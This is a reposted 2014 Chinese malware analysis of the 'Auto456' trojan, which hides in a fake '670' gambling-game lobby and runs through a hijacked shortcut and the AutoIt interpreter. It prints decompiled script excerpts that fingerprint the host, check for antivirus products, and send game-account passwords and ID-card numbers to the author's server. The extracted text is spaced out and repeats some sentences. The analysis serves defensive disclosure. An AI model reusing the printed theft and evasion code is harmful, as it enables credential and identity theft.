搜索

[8298] 2014-09-24_百足之虫死而不僵：Auto456家族木马的死灰复燃

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2014-09-24_百足之虫死而不僵：Auto456家族木马的死灰复燃 百 足 之 虫 死 而 不 僵 ： A u t o 4 5 6 家 族 木 马 的 死 灰 复 燃 F r e e B u f   2 0 1 4 - 0 9 - 2 4 作 者   t i a n j i y u n 就 在 今 年 上 半 年 ， 就 在 今 年 上 半 年 ， 4 5 6 游 戏 大 厅 还 是 金 钱 的 代 名 词 。 一 个 看 起 来 并 不 起 眼 的 游 戏 平 台 ， 注 册 用 户 却 达 游 戏 大 厅 还 是 金 钱 的 代 名 词 。 一 个 看 起 来 并 不 起 眼 的 游 戏 平 台 ， 注 册 用 户 却 达 2 0 0 0 余 万 ， 每 天 获 利 最 高 可 达 余 万 ， 每 天 获 利 最 高 可 达 1 0 0 余 万 。 这 样 的 一 个 游 戏 大 厅 ， 必 然 余 万 。 这 样 的 一 个 游 戏 大 厅 ， 必 然 是 各 路 木 马 的 兵 家 必 争 之 地 。 于 是 针 对 是 各 路 木 马 的 兵 家 必 争 之 地 。 于 是 针 对 4 5 6 游 戏 大 厅 的 各 种 盗 号 木 马 、 远 控 木 马 也 都 层 出 不 穷 。 作 为 一 家 互 联 网 安 全 公 司 ， 我 们 当 然 也 是 一 直 在 和 各 类 木 马 作 者 不 断 地 游 戏 大 厅 的 各 种 盗 号 木 马 、 远 控 木 马 也 都 层 出 不 穷 。 作 为 一 家 互 联 网 安 全 公 司 ， 我 们 当 然 也 是 一 直 在 和 各 类 木 马 作 者 不 断 地 对 抗 。 怎 奈 金 钱 的 利 益 太 过 诱 人 ， 虽 然 被 我 们 步 步 紧 逼 ， 但 木 马 作 者 却 也 从 未 停 止 过 自 己 的 脚 步 。 对 抗 。 怎 奈 金 钱 的 利 益 太 过 诱 人 ， 虽 然 被 我 们 步 步 紧 逼 ， 但 木 马 作 者 却 也 从 未 停 止 过 自 己 的 脚 步 。 但 到 今 年 4 月 1 6 日 ， 有 关 4 5 6 游 戏 的 一 切 活 动 戛 然 而 止 … … 温 州 龙 湾 警 方 将 这 宗 涉 案 金 额 堪 比 全 省 一 年 G D P 的 特 大 网 络 开 设 赌 场 案 破 获 ， 涉 案 人 员 被 抓 ， 4 5 6 游 戏 大 厅 也 正 式 宣 告 倒 台 。 皮 之 不 存 ， 毛 将 焉 附 — — 依 附 于 4 5 6 游 戏 存 在 的 无 数 木 马 作 者 也 都 跟 着 销 声 匿 迹 了 。 我 们 这 些 互 联 网 安 全 工 作 者 们 仿 佛 也 可 以 松 一 口 气 了 。 似 曾 相 识 似 曾 相 识 近 日 接 到 用 户 举 报 说 搜 索 的 时 候 遇 到 了 一 个 虚 假 的 6 7 0 游 戏 大 厅 ， 我 们 便 按 照 用 户 的 描 述 找 到 了 这 个 游 戏 大 厅
而 一 打 开 这 个 所 谓 的 “ 6 7 0 游 戏 ” 的 主 页 ， 我 就 感 觉 不 对 劲 了 — — 这 不 就 是 4 5 6 游 戏 大 厅 的 主 页 吗 ？ 将 主 页 页 面 上 挂 的 游 戏 平 台 下 载 回 来 之 后 安 装 … … 果 然 — — 除 了 改 了 几 个 标 题 之 外 ， G a m e 4 5 6 和 4 5 6 游 戏 的 名 字 还 是 随 处 可 见
安 装 完 成 后 ， 会 在 桌 面 上 生 成 一 个 “ 6 7 0 游 戏 大 厅 ” 的 快 捷 方 式 。 — — 直 到 此 时 ， 这 个 程 序 还 仅 仅 只 是 停 留 在 一 个 简 单 的 “ 山 寨 4 5 6 游 戏 大 厅 ” 的 层 面 ， 并 没 有 实 质 的 恶 意 行 为 。
诡 异 的 快 捷 方 式 诡 异 的 快 捷 方 式 点 开 该 快 捷 方 式 的 属 性 ， 乍 一 看 去 仿 佛 还 挺 正 常 ， 但 习 惯 性 的 用 鼠 标 圈 了 一 下 “ 目 标 ” 一 栏 — — 怎 么 这 么 长 ！ 遂 将 完 整 目 标 路 径 复 制 下 来 ： “ C : P r o g r a m   F i l e s K a i L i a n   T e c h 6 7 0 游 戏 U p d a t L o b b y . e x e ”   p l a t . m o d   “ C : P r o g r a m   F i l e s K a i L i a n   T e c h 6 7 0 游 戏 L o b b y . e x e ” 定 位 到 目 标 文 件 ， 是 一 个 隐 藏 的 U p l o a d L o b b y . e x e 程 序 ， 参 数 则 是 同 样 隐 藏 的 P l a t . m o d 文 件 和 真 正 的 游 戏 大 厅 主 程 序 l o b b y . e x e 惊 现 惊 现 A u t o 4 5 6 U p d a t L o b b y . e x e 这 个 程 序 带 有 数 字 签 名 “ A u t o I t   C o n s u l t i n g   L t d ” 。
看 到 这 相 信 很 多 人 都 明 白 了 — — 这 是 一 个 A u t o I t 的 解 释 器 — — 用 于 解 释 用 A u t o I t 语 言 写 成 的 自 动 化 脚 本 。 那 么 很 显 然 ， 他 指 向 的 P l a t . m o d 就 是 一 个 自 动 化 脚 本 。 不 出 意 料 ， 这 个 脚 本 是 经 过 编 码 的 ， 也 就 是 一 个 a 3 x 脚 本 ， 我 们 用 工 具 将 其 转 为 文 本 的 a u 3 文 本 — — 一 个 多 大 1 8 0 0 余 行 的 脚 本 出 现 在 我 的 眼 前 。 同 样 不 出 意 料 的 ， 我 在 脚 本 中 看 到 了 这 样 的 一 个 久 违 的 变 量 名 — — ” 4 5 6 e x e p a t h ” ： 而 这 种 利 用 A u t o I t 执 行 恶 意 代 码 的 手 法 在 4 5 6 游 戏 的 时 代 就 曾 经 出 现 过 — — 我 们 称 其 为 “ A u t o 4 5 6 ” 。 脚 本 分 析 脚 本 分 析 观 其 1 8 0 0 余 行 的 脚 本 ， 封 装 了 大 量 的 W i n A P I 和 G D I + 函 数 。 也 正 是 依 赖 大 量 的 W i n A P I 的 调 用 ， 这 个 A u t o I t 的 脚 本 实 现 了 一 个 原 本 应 该 是 经 过 编 译 的 可 执 行 程 序 才 会 有 的 强 大 功 能 。 （ 以 下 仅 列 出 其 中 部 分 ） f u n c   _ w i n a p i _ c r e a t e c o m p a t i b l e b i t m a p ( $ h d c ,   $ i w i d t h ,   $ i h e i g h t )         l o c a l   $ a r e s u l t   =   d l l c a l l ( " g d i 3 2 . d l l " ,   " h a n d l e " ,   " c r e a t e c o m p a t i b l e b i t m a p " ,   " h a n d l e " ,   $ h d c ,   " i n t " ,   $ i w i d t h ,   " i n t " ,   $ i h e i g h t )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   0 x 0 0 0 0 0 0 0 0 )         r e t u r n   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] e n d f u n c f u n c   _ w i n a p i _ c r e a t e c o m p a t i b l e d c ( $ h d c )         l o c a l   $ a r e s u l t   =   d l l c a l l ( " g d i 3 2 . d l l " ,   " h a n d l e " ,   " c r e a t e c o m p a t i b l e d c " ,   " h a n d l e " ,   $ h d c )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   0 x 0 0 0 0 0 0 0 0 )         r e t u r n   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] e n d f u n c f u n c   _ w i n a p i _ d e l e t e d c ( $ h d c )         l o c a l   $ a r e s u l t   =   d l l c a l l ( " g d i 3 2 . d l l " ,   " b o o l " ,   " d e l e t e d c " ,   " h a n d l e " ,   $ h d c )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   f a l s e )         r e t u r n   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] e n d f u n c f u n c   _ w i n a p i _ d e l e t e o b j e c t ( $ h o b j e c t )         l o c a l   $ a r e s u l t   =   d l l c a l l ( " g d i 3 2 . d l l " ,   " b o o l " ,   " d e l e t e o b j e c t " ,   " h a n d l e " ,   $ h o b j e c t )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   f a l s e )         r e t u r n   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] e n d f u n c f u n c   _ w i n a p i _ g e t d c ( $ h w n d )         l o c a l   $ a r e s u l t   =   d l l c a l l ( " u s e r 3 2 . d l l " ,   " h a n d l e " ,   " g e t d c " ,   " h w n d " ,   $ h w n d )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   0 x 0 0 0 0 0 0 0 0 )         r e t u r n   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] e n d f u n c … … f u n c   _ g d i p l u s _ e n c o d e r s g e t c l s i d ( $ s f i l e e x t )         l o c a l   $ a e n c o d e r s   =   _ g d i p l u s _ e n c o d e r s ( )         f o r   $ i i   =   0 x 0 0 0 0 0 0 0 1   t o   $ a e n c o d e r s   [ 0 x 0 0 0 0 0 0 0 0   ] [ 0 x 0 0 0 0 0 0 0 0   ]
                i f   s t r i n g i n s t r ( $ a e n c o d e r s   [ $ i i   ] [ 0 x 0 0 0 0 0 0 0 6   ] ,   " * . " &   $ s f i l e e x t )   >   0 x 0 0 0 0 0 0 0 0   t h e n   r e t u r n   $ a e n c o d e r s   [ $ i i   ] [ 0 x 0 0 0 0 0 0 0 1   ]         n e x t         r e t u r n   s e t e r r o r ( -   0 x 0 0 0 0 0 0 0 1 ,   - 0 x 0 0 0 0 0 0 0 1 ,   " " ) e n d f u n c f u n c   _ g d i p l u s _ e n c o d e r s g e t c o u n t ( )         l o c a l   $ a r e s u l t   =   d l l c a l l ( $ g h g d i p d l l ,   " i n t " ,   " g d i p g e t i m a g e e n c o d e r s s i z e " ,   " u i n t * " ,   0 x 0 0 0 0 0 0 0 0 ,   " u i n t * " ,   0 x 0 0 0 0 0 0 0 0 )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   - 0 x 0 0 0 0 0 0 0 1 )         r e t u r n   s e t e x t e n d e d ( $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] ,   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 1   ] ) e n d f u n c f u n c   _ g d i p l u s _ e n c o d e r s g e t s i z e ( )         l o c a l   $ a r e s u l t   =   d l l c a l l ( $ g h g d i p d l l ,   " i n t " ,   " g d i p g e t i m a g e e n c o d e r s s i z e " ,   " u i n t * " ,   0 x 0 0 0 0 0 0 0 0 ,   " u i n t * " ,   0 x 0 0 0 0 0 0 0 0 )         i f   @ e r r o r   t h e n   r e t u r n   s e t e r r o r ( @ e r r o r ,   @ e x t e n d e d ,   - 0 x 0 0 0 0 0 0 0 1 )         r e t u r n   s e t e x t e n d e d ( $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 0   ] ,   $ a r e s u l t   [ 0 x 0 0 0 0 0 0 0 2   ] ) e n d f u n c 脚 本 一 开 始 便 给 出 了 作 者 的 远 程 服 务 器 域 名 ， 但 看 起 来 很 乱 ： g l o b a l   $ y m d q z   =   " n a t . g a m e 6 7 0 . c o m - h e l l . g a m e 6 7 0 . c o m _ d o w n l o a d . g a m e 6 7 0 . c o m . " g l o b a l   $ z y d f w q   =   " n e w 6 7 0 . y x * * * * . c o m " g l o b a l   $ b y d f w q   =   " n e w s 6 7 0 . g g y * * * * . c o m " g l o b a l   $ y m d b h   =   " s i n a 6 7 0 . " 但 其 实 里 面 只 有 两 个 域 名 “ y x * * * * . c o m ” 和 “ g g y * * * * . c o m ” （ 处 于 安 全 考 虑 ， 隐 去 了 域 名 中 的 部 分 字 符 ） 。 而 其 他 部 分 则 都 是 这 两 个 真 实 域 名 下 属 的 子 域 名 。 猜 测 是 用 来 迷 惑 和 误 导 分 析 人 员 的 。 然 后 就 是 收 集 用 户 当 前 的 信 息 比 如 本 地 I P （ 注 释 为 本 文 作 者 添 加 ， 下 同 ） ;   获 取 本 地 I P 地 址 g l o b a l   $ i p a d q z   =   s t r i n g l e f t ( @ i p a d d r e s s 1 ,   0 x 0 0 0 0 0 0 0 3 ) i f   $ i p a d q z   = =   " 1 9 2 " o r   $ i p a d q z   = =   " 0 . 1 " o r   $ i p a d q z   = =   " 1 6 9 " o r   $ i p a d q z   = =   " 1 0 . " o r   $ i p a d q z   = =   " 1 7 2 " t h e n         $ h z x x   =   " | " &   @ i p a d d r e s s 1   &   " | " &   @ c o m p u t e r n a m e e l s e         $ h z x x   =   " | 1 . 1 . 1 . 1 | " &   @ c o m p u t e r n a m e e n d i f 检 查 用 户 机 器 上 是 否 有 正 在 运 行 的 安 全 软 件 ;   检 查 进 程 i f   p r o c e s s e x i s t s ( " 3 6 0 t r a y . e x e " )   o r   p r o c e s s e x i s t s ( " k s a f e t r a y . e x e " )   o r   p r o c e s s e x i s t s ( " q q p c t r a y . e x e " )   t h e n         $ s y s p p b b   =   0 x 0 0 0 0 0 0 0 1         $ l j   =   0 x 0 0 0 0 0 0 0 1         _ l j w i n i ( ) e n d i f $ u s e r 2   =   " " s l e e p ( 0 x 0 0 0 0 0 4 5 7 ) t c p s t a r t u p ( ) ;   检 查 安 全 软 件 ;   检 查 是 否 存 在 3 6 0 i f   p r o c e s s e x i s t s ( " 3 6 0 t r a y . e x e " )   t h e n         $ s d x x   =   " ` ` 有 3 6 0 " e l s e         $ s d x x   =   " " e n d i f ;   检 查 是 否 存 在 金 山 i f   p r o c e s s e x i s t s ( " k s a f e t r a y . e x e " )   t h e n         i f   $ s d x x   < >   " " t h e n                 $ s d x x   & =   " _ 金 山 "         e l s e                 $ s d x x   =   " ` ` 有 金 山 "         e n d i f e n d i f ;   检 查 是 否 存 在 冰 点 还 原 i f   p r o c e s s e x i s t s ( " d f 5 s e r v . e x e " )   t h e n         i f   $ s d x x   < >   " " t h e n                 $ s d x x   & =   " _ 冰 点 "         e l s e                 $ s d x x   =   " ` ` 有 冰 点 "         e n d i f e n d i f 集 到 这 些 信 息 之 后 会 作 为 第 一 个 数 据 包 打 包 发 送 给 木 马 作 者 的 收 信 服 务 器 ， 作 为 记 录 。 收 集 完 这 些 基 础 信 息 之 后 ， 才 是 病 毒 的 真 正 主 体 — — 一 个 长 达 3 0 0 多 行 的 死 循 环 。
正 是 这 个 死 循 环 ， 在 监 视 着 用 户 的 一 举 一 动 。 比 如 每 隔 一 段 时 间 （ 循 环 5 0 0 次 ） 就 会 检 查 一 遍 放 在 桌 面 上 的 快 捷 方 式 是 否 正 常 （ 是 否 依 然 指 向 病 毒 ） ， 如 果 不 正 常 了 就 修 复 一 下 ， 并 通 知 服 务 器 修 复 了 快 捷 方 式 。 而 如 果 脚 本 一 段 时 间 内 （ 循 环 3 5 0 0 次 ） 没 有 发 现 你 做 过 什 么 有 价 值 的 事 情 ， 也 会 定 点 向 服 务 器 报 告 一 下 当 前 置 顶 的 窗 口 标 题 是 什 么 。 甚 至 当 你 需 要 注 册 的 时 候 ， 木 马 都 会 为 你 贴 心 的 准 备 了 几 个 处 理 过 的 窗 口 贴 图 和 验 证 码 图 案 … … 当 然 ， 作 者 最 想 要 拿 到 的 ， 必 然 还 是 用 户 的 账 户 登 录 信 息 。 更 为 严 重 的 是 — — 由 于 此 类 游 戏 平 台 涉 及 大 宗 的 财 务 交 易 ， 所 以 大 多 都 要 求 登 陆 的 时 候 需 要 输 入 本 人 真 实 身 份 证 号 码 用 于 验 证 。 这 样 一 来 ， 木 马 作 者 窃 取 的 就 不 仅 仅 是 游 戏 资 产 而 已 了 — — 也 包 括 了 用 户 的 身 份 证 信 息 ， 而 这 会 牵 连 出 多 少 其 他 的 个 人 隐 私 数 据 ， 就 无 法 想 象 了 。 i f   $ p a s s t e m p   = =   " y f s a " a n d   w i n e x i s t s ( " [ c l a s s : k a i l i a n g a m e 4 5 6 ] " )   a n d   c o n t r o l c o m m a n d ( " [ c l a s s : k a i l i a n g a m e 4 5 6 ] " ,   " " ,   " b u t t o n 8 " ,   " i s e n a b l e d " ,   " " )   = =   0 x 0 0 0 0 0 0 0 1   t h e n         $ p a s s t e m p   =   " "         i f   $ s f z   < >   " " a n d   s t r i n g l e n ( $ s f z )   < >   0 x 0 0 0 0 0 0 1 2   t h e n                 _ t c p s d d ( _ s t r i n g e n c r y p t ( 0 x 0 0 0 0 0 0 0 1 ,   $ u s e r   &   " | | | | | | s f z - e r r o r " &   $ h z x x ) )                 $ s f z   =   " "         e n d i f         _ t c p s d d ( _ s t r i n g e n c r y p t ( 0 x 0 0 0 0 0 0 0 1 ,   $ u s e r   &   " | " &   $ p a s s   &   " | " &   $ s f z   &   " | | | | " &   $ s d x x   &   $ h z x x   &   " | " &   $ d a t e ) ) e n d i f 看 到 这 里 ， 如 果 你 以 为 这 是 一 个 盗 号 的 自 动 化 脚 本 ， 那 你 就 错 了 — — 除 了 盗 号 功 能 外 ， 脚 本 更 主 要 的 功 能 其 实 是 一 个 远 控 。 他 可 以 接 收 来 自 木 马 作 者 服 务 器 的 指 令 ， 并 根 据 指 令 进 行 各 种 操 作 另 外 ， 如 果 下 发 的 指 令 是 一 个 U R L ， 脚 本 还 会 去 下 载 这 个 U R L 对 应 的 文 件 到 本 地 执 行 。 查 杀 拦 截 查 杀 拦 截 由 于 病 毒 代 码 的 执 行 者 其 实 是 A u t o I t 的 解 释 器 ， 而 这 个 解 释 器 本 身 并 非 恶 意 程 序 （ 它 只 是 在 逐 行 的 解 释 并 执 行 脚 本 里 每 一 条 指 令 而 已 ） ， 并 且 也 有 正 规 有 效 的 数 字 签 名 。 真 正 含 有 恶 意 代 码 的 脚 本 文 件 却 躲 在 解 释 器 的 后 面 ， 不 会 以 独 立 进 程 的 形 式 出 现 在 系 统 中 。
因 此 导 致 现 在 市 面 上 所 有 的 安 全 软 件 中 ， 除 3 6 0 外 都 无 法 正 常 拦 截 该 木 马 。 所 幸 的 是 得 益 于 和 4 5 6 游 戏 木 马 的 长 期 对 抗 经 验 ， 3 6 0 对 此 类 木 马 一 直 是 可 以 有 效 拦 截 的 最 后 也 要 提 醒 大 家 ： 久 赌 无 胜 家 久 赌 无 胜 家 — — 无 论 是 否 是 木 马 ， 赌 博 类 游 戏 ， 我 们 就 应 该 远 离 。 无 论 是 否 是 木 马 ， 赌 博 类 游 戏 ， 我 们 就 应 该 远 离 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理